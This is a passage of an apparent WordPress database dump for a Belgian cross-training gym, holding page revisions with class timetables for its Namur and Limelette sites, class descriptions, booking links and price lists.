class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:55:37', '2013-10-05 08:55:37', '', 11, 'http://www.crosstrainingcenter.be/11-revision-126/', 0, 'revision', '', 0),
(362, 1, '2013-11-04 17:20:34', '2013-11-04 17:20:34', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-04 17:20:34', '2013-11-04 17:20:34', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(363, 1, '2013-11-04 17:21:08', '2013-11-04 17:21:08', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-494\&quot; alt=\&quot;nouvelles seances CT\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot; width=\&quot;900\&quot; height=\&quot;635\&quot; /&gt;&lt;/a&gt;\r\n\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'publish', 'closed', 'open', '', 'les-seances-namur', '', '', '2015-09-02 17:07:48', '2015-09-02 17:07:48', '', 0, 'http://www.crosstrainingcenter.be/?page_id=363', 0, 'page', '', 0),
(493, 3, '2015-09-02 16:58:59', '2015-09-02 16:58:59', '&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;img class=\&quot; wp-image-491 aligncenter\&quot; alt=\&quot;Capture d’écran 2015-09-02 à 18.56.23\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/Capture-d’écran-2015-09-02-à-18.56.23-300x211.png\&quot; width=\&quot;900\&quot; height=\&quot;633\&quot; /&gt;&lt;/p&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-09-02 16:58:59', '2015-09-02 16:58:59', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(496, 3, '2015-09-02 17:06:42', '2015-09-02 17:06:42', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-494\&quot; alt=\&quot;nouvelles seances CT\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot; width=\&quot;900\&quot; height=\&quot;635\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-09-02 17:06:42', '2015-09-02 17:06:42', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(364, 1, '2013-11-04 17:21:08', '2013-11-04 17:21:08', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td 